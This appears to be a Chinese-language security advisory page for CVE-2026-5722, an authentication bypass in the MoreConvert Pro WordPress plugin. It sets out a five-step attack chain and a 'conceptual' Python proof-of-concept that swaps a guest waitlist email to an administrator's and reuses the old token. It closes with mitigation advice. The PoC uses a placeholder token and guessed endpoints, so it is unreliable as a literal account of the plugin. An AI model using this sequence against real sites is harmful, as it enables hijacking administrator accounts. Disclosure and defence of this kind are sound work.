IPBUF安全漏洞报告
English
CVE-2026-5722 CVSS 9.8 严重

CVE-2026-5722 WordPress插件身份验证绕过漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-5722
漏洞类型
身份验证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MoreConvert Pro (Smart Wishlist for More Convert)

相关标签

身份验证绕过WordPressMoreConvert Pro逻辑漏洞权限提升CVSS-9.8

漏洞概述

WordPress的MoreConvert Pro插件在所有版本(包括1.9.14及以下)中存在严重的身份验证绕过漏洞。该漏洞源于访客候补名单验证流程中的逻辑缺陷,即在更改客户电子邮件地址时未使验证令牌失效或重新生成。未经身份验证的攻击者可以利用此漏洞,通过获取攻击者控制邮箱的有效访客验证令牌,通过公开的候补名单流程将同一访客客户电子邮件更改为目标账户电子邮件,然后使用原始验证链接以现有用户(包括管理员)身份进行身份验证,从而完全接管目标站点。

技术细节

该漏洞的核心原理在于插件状态管理的逻辑错误。在MoreConvert Pro的访客候补名单功能中,系统为访客生成验证令牌时,并未将该令牌与初始邮箱进行强绑定,也没有在邮箱变更时触发令牌刷新机制。攻击者首先以访客身份注册候补名单,获取与自己控制邮箱关联的有效令牌。随后,攻击者利用公开接口修改该候补记录的邮箱为受害者(管理员)的邮箱。由于系统未撤销旧令牌,攻击者持有的原令牌在此时仍被视为有效。当攻击者使用该令牌访问验证端点时,系统错误地验证通过,并将当前会话赋予该记录当前关联的邮箱(即管理员邮箱)对应的用户权限,从而实现无需密码的权限提升和账户接管。

攻击链分析

STEP 1
侦察
攻击者识别目标WordPress站点是否安装了MoreConvert Pro插件,并确认版本在1.9.14及以下。
STEP 2
获取令牌
攻击者使用自己控制的邮箱地址在目标站点注册访客候补名单,系统生成并发送一个验证令牌。
STEP 3
篡改数据
攻击者利用插件接口,将该候补条目的邮箱地址修改为目标管理员的邮箱地址。由于漏洞存在,原本的验证令牌未被失效。
STEP 4
身份验证绕过
攻击者访问步骤2中获取的原始验证链接。插件验证令牌有效,将当前会话绑定到该记录当前关联的邮箱(即管理员邮箱)。
STEP 5
接管权限
攻击者成功以管理员身份登录WordPress后台,获得完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_cve_2026_5722(target_url, attacker_email, target_admin_email): """ Conceptual PoC for CVE-2026-5722 Authentication Bypass """ session = requests.Session() # Step 1: Attacker joins the guest waitlist to get a valid token # Endpoint structure may vary based on plugin implementation waitlist_endpoint = f"{target_url}/wp-json/mc/v1/waitlist" payload_join = { "email": attacker_email, "product_id": 1 } try: response = session.post(waitlist_endpoint, data=payload_join) if response.status_code == 200: # Assuming the token is returned in the response or sent via email (simulated here) verification_token = "simulated_token_from_response" print(f"[+] Token obtained: {verification_token}") # Step 2: Change the guest email to the target admin email # This simulates the logic flaw where changing email does not invalidate the token update_endpoint = f"{target_url}/wp-json/mc/v1/waitlist/update" payload_update = { "current_email": attacker_email, "new_email": target_admin_email } # The request might need the token or cookie to identify the guest session update_response = session.post(update_endpoint, data=payload_update) if update_response.status_code == 200: print("[+] Email updated successfully to target admin email.") # Step 3: Use the original token to authenticate as the target user verify_endpoint = f"{target_url}/wp-json/mc/v1/waitlist/verify" verify_payload = { "token": verification_token } final_response = session.get(verify_endpoint, params=verify_payload) if final_response.status_code == 200: print("[!] EXPLOIT SUCCESSFUL: Authenticated as " + target_admin_email) return True else: print("[-] Verification failed.") else: print("[-] Failed to update email.") else: print("[-] Failed to join waitlist.") except Exception as e: print(f"[-] Error: {e}") return False # Usage # exploit_cve_2026_5722("http://example.com", "[email protected]", "[email protected]")

影响范围

MoreConvert Pro <= 1.9.14

防御指南

临时缓解措施
建议立即检查并更新该插件至最新版本。在无法立即更新的情况下,应临时禁用该插件的访客候补名单功能,或者通过Web应用防火墙(WAF)拦截针对该插件特定接口的异常请求,特别是涉及邮箱变更的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表